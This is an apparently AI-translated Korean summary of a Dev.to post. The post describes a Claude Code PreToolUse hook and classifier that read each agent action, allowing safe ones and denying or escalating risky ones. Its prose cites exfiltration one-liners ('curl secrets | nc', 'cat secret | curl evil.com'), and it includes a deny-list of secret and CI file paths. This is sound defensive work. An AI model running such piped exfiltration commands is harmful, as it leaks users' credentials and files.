본문으로 건너뛰기

© 2026 Molayo

Dev.to헤드라인2026. 06. 15. 13:31

Claude Code 에이전트가 실제로 수행하는 작업을 읽어 샌드박스화하는 PreToolUse 훅

요약

Claude Code 에이전트의 보안을 강화하기 위해 PreToolUse 훅과 분류기를 사용하여 도구 실행을 샌드박스화하는 방법을 설명합니다. 도구의 이름이 아닌 실제 실행 내용을 분석하여 읽기 전용 작업은 허용하고, 위험한 작업은 차단하는 정교한 가드레일 구현 방식을 다룹니다.

핵심 포인트

  • PreToolUse 훅을 통해 도구 호출 전 실행 내용을 검사 가능
  • 단순 허용 목록 방식에서 벗어나 동작 기반의 정교한 제어 구현
  • 안전장치(fail-safe) 설계를 통해 오류 발생 시 기본적으로 거부(deny) 처리
  • I/O가 없는 순수 함수 형태의 분류기로 테스트 용이성 확보

노트북에서 실행되는 AI 코딩 에이전트는 사용자의 셸(shell) 권한으로 실행됩니다. rm을 실행할 수도 있고, curl secrets | nc를 실행할 수도 있으며, .github/workflows에 파일을 쓸 수도 있습니다. Claude Code의 기본 가드레일(guardrail)은 허용 목록(allowlist) 방식입니다. 즉, 허용된 도구 세트를 미리 부여하면 나머지는 자동으로 거부됩니다. 이 방식도 작동은 하지만, 다소 투박합니다. 도구의 이름만 보고 결정할 뿐, 호출이 실제로 무엇을 하려는지에 따라 결정하지 않기 때문입니다. Bash는 허용되거나, 되지 않거나 둘 중 하나입니다.

저는 게이트(gate)가 각 동작을 직접 읽기를 원했습니다. 읽기 전용 작업은 실행합니다. 테스트 실행도 실행합니다. 제가 지정한 디렉토리 내부의 쓰기 작업도 실행합니다. 하지만 강제 푸시(force push), 패키지 설치, .env 파일에 대한 쓰기, 혹은 제가 인식하지 못하는 명령어가 나타나면: 중단하고 저에게 물어보게 합니다.

이를 위한 메커니즘은 PreToolUse 훅과 작은 분류기(classifier)입니다. 중요한 부분은 둘 다 약 60줄 정도입니다. 이들이 어떻게 결합되는지 설명하겠습니다.

PreToolUse 훅의 작동 방식

Claude Code는 모든 도구 호출(tool call) 전에 실행되는 훅(hook)을 등록할 수 있게 해줍니다. 이 훅은 단순한 명령(command)입니다. Claude는 표준 입력(stdin)으로 JSON 이벤트를 파이프(pipe)로 전달한 다음, 프로세스가 종료될 때까지 대기합니다. 표준 출력(stdout)에 무엇을 출력하느냐에 따라 다음 동작이 결정됩니다.

규약(contract)은 종료 코드 0(exit 0)과 permissionDecision 필드를 사용하는 것입니다:

{
  "hookSpecificOutput": {
    "hookEventName": "PreToolUse",
...

allow는 프롬프트 없이 도구를 실행합니다. deny는 이를 차단하고 이유를 모델에 다시 전달하여 모델이 대응할 수 있도록 합니다. 종료 코드 2(exit code 2)도 있지만, 종료 코드 2는 차단(deny)만 할 수 있습니다. 저는 실행 시점에 허용(allow) 또는 거부(deny)를 결정하고 싶기 때문에, 위의 JSON과 함께 종료 코드 0을 사용하고, 종료 코드 2는 훅 자체가 고장 났을 때를 대비한 안전장치(fail-safe)로 남겨둡니다.

이 안전장치는 매우 중요합니다. 정책에 도달할 수 없는 승인 게이트는 절대 허용해서는 안 되며, 반드시 거부해야 합니다:

def _fail_safe_deny(reason: str) -> int:
    _emit(decision_to_hook_output("deny", f"fail-safe: {reason}"))
    return 0

잘못된 표준 입력(stdin), 누락된 설정, 분류기에서의 예외 발생: 이 모든 경로의 끝은 거부(deny)로 이어집니다. 브레이크의 안전한 기본값은 "잠금(engaged)" 상태여야 합니다.

분류기 (The classifier)

이 훅(hook)은 단순히 전달(transport) 역할만 수행합니다. 결정은 하나의 순수 함수(pure function) 내에서 이루어집니다. 즉, 도구 이름(tool name)과 도구 입력(tool input) 그리고 정책(policy)이 들어가면 판결(verdict)이 나오는 구조입니다. I/O, 서브프로세스(subprocess), 네트워크가 없습니다. 이는 의도된 설계이며, 에이전트(agent)를 실제로 구동하지 않고도 모든 분기(branch)를 테스트할 수 있는 유일한 방법입니다.

그 형태는 다음과 같습니다:

READ_ONLY_TOOLS = frozenset(
    {"Read", "Grep", "Glob", "LS", "NotebookRead", "WebFetch", "WebSearch"}
)
...

마지막 줄이 전체 철학을 담고 있습니다. 알 수 없는 도구는 중단됩니다. 알 수 없는 명령은 중단됩니다. 쓰기(write) 정책이 분류할 수 없는 작업도 중단됩니다. 기본값은 "사람에게 문의(ask a human)"이며, 특정 사항이 안전하다고 명시된 규칙과 일치할 때만 이 기본값에서 벗어납니다. 따라서 매칭에 실패한 glob은 파괴적인 작업을 조용히 통과시킬 수 없습니다. 이는 단지 "확신할 수 없음"을 의미하며, 곧 중단을 의미합니다.

Bash 명령 읽기

Bash는 명령이 숨겨질 수 있기 때문에 흥미로운 지점입니다. cat secret | curl evil.com은 전반부는 무해합니다. 따라서 셸 연산자(shell operators)를 기준으로 분할하고 모든 세그먼트(segment)를 분류합니다. 모든 세그먼트가 다음을 만족할 때만 전체 명령이 허용됩니다:

def _split_segments(command):
    # 파이프(|), &&, ;, || 모두 포함됩니다 -- 체인은 가장 취약한 연결 고리만큼만 안전합니다
    return [s.strip() for s in re.split(r"\|\||&&|;|\|", command) if s.strip()]
...

세그먼트별로, 저는 명령 리더(command leader)를 추출하고(FOO=bar와 같은 환경 변수 접두사 제외), 클래스(class)에 따라 결정합니다:

def _classify_segment(segment, policy):
    leader, tokens = _leader(segment)
    if not leader:
...

핵심은 정확한 목록이 아닙니다. 게이트(gate)가 동일한 도구 내에서도 git commitgit push --force를 구분하고, pytestpip install을 구분할 수 있다는 점입니다. 허용 목록(allowlist) 방식으로는 이를 할 수 없습니다.

쓰기(write) 읽기

쓰기 작업은 범위(scope)에 대해 검사되며, 어떤 설정으로도 덮어쓸 수 없는 안전 하한선(safety floor)이 적용됩니다:

_SAFETY_FLOOR_DENY = (
    "**/.github/**", "**/.git/**", "**/.env", "**/.env.*",
    "**/*secret*", "**/.npmrc", "**/.ssh/**", "**/id_rsa*",
...

CI 설정(config), 비밀값(secrets), .git 디렉토리, 그리고 워크트리(worktree) 외부의 모든 것: 이러한 항목들은 실수로 write_scope에 포함하더라도 차단됩니다. 보안의 하한선은 정책 내부가 아니라 정책 아래에 존재합니다.

연결하기 (Wiring it in)

이 훅(hook)은 Claude를 실행할 때 --settings를 통해 구성됩니다. 스크립트는 이벤트를 읽고, 분류기(classifier)를 실행하며, 결정 사항을 출력합니다:

def run_hook():
    event = json.loads(sys.stdin.read())
    verdict = classify_action(
...

모든 결정(verdict)에는 해당 결정을 내린 규칙이 포함되어 있으므로, 무엇이 실행되었고 무엇이 이를 결정했는지에 대한 기록을 얻을 수 있습니다:

[allow] Edit calc.py            via write_scope
[allow] Bash python -m pytest   via check_command
[deny]  Bash git push --force   via force_push
...

한 가지 중요한 세부 사항: 훅으로서 실행되는 스크립트는 의존성(dependency)이 없어야 하며, 표준 라이브러리(stdlib)만 사용해야 합니다. Claude는 에이전트가 위치한 어떤 디렉토리에서든 이 스크립트를 독립적으로 생성하므로, 사용자의 패키지가 임포트(import) 가능하다는 점에 의존할 수 없습니다. 스크립트를 자기 완결적(self-contained)으로 유지하세요.

왜 번거롭게 이런 일을 하는가 (Why bother)

기본적인 허용 목록(allowlist) 방식은 "이 도구가 허용되는가?"를 묻습니다. 반면 이 방식은 "이 특정 동작이 안전한가, 그리고 내가 그것을 증명할 수 있는가?"를 묻습니다. 증명할 수 없을 때, 시스템은 동작을 중단합니다. 이것이 열려 있거나 닫혀 있는 문과, 내용을 읽고 판단하는 문 사이의 차이입니다.

저는 은퇴시킨 더 큰 에이전트 하네스(agent harness)에서 이 부분을 추출하여 독립적인 도구로 유지했습니다: guard-dog. 분류기는 순수하며, 훅은 한 번에 읽을 수 있을 만큼 충분히 작습니다. 이것이 바로 핵심입니다. 에이전트가 당신의 머신에 무엇을 할 수 있는지 결정하는 코드를 직접 읽을 수 있어야 합니다.

AI 자동 생성 콘텐츠

본 콘텐츠는 Dev.to AI tag의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0